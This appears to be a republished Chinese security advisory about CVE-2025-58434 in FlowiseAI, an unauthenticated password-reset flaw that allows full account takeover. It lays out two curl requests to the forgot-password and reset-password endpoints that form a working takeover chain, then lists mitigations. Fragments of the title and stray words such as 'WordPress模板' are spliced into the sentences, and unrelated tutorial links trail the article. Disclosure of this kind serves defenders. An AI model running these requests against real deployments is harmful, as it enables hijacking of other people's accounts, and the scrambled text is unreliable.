漏洞预警：FlowiseAI 高危漏洞（CVE-2025-58434）可导致完全账户接管（CVSS 9.8）
发布时间：2025-11-05 04:18:30 来源：云智核 作者：应用开发
开源生成式AI开发平台FlowiseAI（广泛用于构建AI代理和LLM工作流）近日被发现存在高危漏洞，漏洞攻击者可在未认证状态下接管云环境和本地部署环境中的高管任意账户。
该漏洞编号为CVE-2025-58434，危漏CVSS评分为9.8分，可导源于平台的致完密码重置机制。安全公告指出："Flowise的全账密码找回端点（/api/v1/account/forgot-password）在未经认证或验证的情况下，直接返回包含有效密码重置临时令牌（tempToken）在内的户接敏感信息。攻击者可借此为任意用户生成重置令牌并直接修改密码，漏洞最终实现完全账户接管（ATO）。高管"
技术分析该漏洞端点仅需输入邮箱地址即可触发响应，危漏但API并未通过邮件安全发送重置链接，WordPress模板可导而是致完直接返回以下敏感信息：
用户ID、姓名、全账邮箱及凭证哈希值账户状态和时间戳有效的户接密码重置临时令牌及其有效期安全公告特别强调："攻击者获取tempToken后，可立即在/api/v1/account/reset-password端点重复使用，漏洞无需邮件验证或用户交互即可重置目标账户密码。"由于仅需获知受害者邮箱（通常可猜测或公开获取），未认证攻击者即可接管包括管理员在内的任意账户。
攻击复现公告提供了完整的攻击链复现步骤：
(1) 获取重置令牌
复制curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d {"user":{"email":"victim@example.com"}}1.2.3.响应报文将包含有效tempToken
(2) 利用令牌重置密码
复制curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d { "user":{ "email":"victim@example.com", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }1.2.3.当返回200 OK状态码时，受害者密码即被修改
风险影响该漏洞被归类为"认证绕过/不安全的直接对象引用"，具体影响包括：
完全账户接管（含高权限管理员账户）数据泄露与身份冒用（可访问组织敏感资产）无需用户交互（大幅降低攻击门槛）同时影响云环境和本地部署（扩大威胁面）公告警告称："由于攻击无需前置条件或用户交互，源码下载该漏洞极有可能被大规模利用。"
缓解措施目前FlowiseAI尚未发布补丁，3.0.5之前的所有版本均受影响。建议采取以下临时防护措施：
禁止API响应返回重置令牌等敏感信息确保令牌仅通过安全邮件渠道传递返回通用成功消息以避免用户枚举实施单次有效、短生命期且绑定请求源的令牌记录并监控所有密码重置请求为敏感账户启用多因素认证（MFA）在官方补丁发布前，管理员需严格实施临时解决方案，限制漏洞端点暴露，并密切监控重置操作。正如公告所述："该漏洞实质上允许任何未认证攻击者通过请求目标邮箱的重置令牌，接管包括管理员在内的任意账户。"
香港云服务器- Win10自由截图快捷键探秘（轻松掌握Win10自由截图的快捷键技巧）
- Win732位与64位双系统安装教程（详解如何在一台电脑上安装Windows732位和64位双系统）
- 使用U盘安装Win7系统的详细教程（教您如何通过U盘将XP系统升级至Win7系统）
- 探索STBU750300的特点及应用领域（STBU750300）
- 如何利用分身定格制作教程电脑（创意动手实践，体验分身定格的魅力）
- 使用UltraISO制作启动U盘安装教程（轻松制作个性化启动U盘，让安装更便捷）
- 完全指南（掌握BIOS设置的关键技巧，优化电脑性能与稳定性）
- i3530玩游戏的性能评测（探索i3530处理器在游戏中的表现及优缺点分析）
- 探索dostylesd805的风格魅力（发现dostylesd805独特设计与创新科技的奇妙融合）
- 苹果iOS9.1版本的功能与特点（探索iOS9.1）
- vivo手机4寸屏手机的特点与优势（小巧便携，功能强大，实用性超越预期）
- 简明易懂的重装Win7系统教程（使用U盘轻松启动，一键安装恢复系统）
- 海尔T6笔记本电脑拆机教程（一步步教你拆解和维修海尔T6笔记本电脑）
- vivo原装耳机的音质表现如何？（一款让音乐更具沉浸感的音频利器）
- DIY澳洲电脑支架折纸教程（快速制作便捷实用的电脑支架，让你的工作更舒适）
- 用戴尔光盘驱动安装系统的详细教程（让您轻松安装操作系统的步骤和技巧）
- 富士100400镜头的性能和特点剖析（全新一代富士100400镜头带来的性体验）
- 探索P7P55DPro主板的功能和性能（一款强大的主板选择，满足您的需求）
- 解决电脑恢复手机时老提示错误的方法（教你如何应对电脑恢复手机时的错误提示问题）
- 探索STBU750300的特点及应用领域（STBU750300）
随便看看
- Copyright © 2025 Powered by 漏洞预警：FlowiseAI 高危漏洞（CVE-2025-58434）可导致完全账户接管（CVSS 9.8）,云智核 滇ICP备2023006006号-28sitemap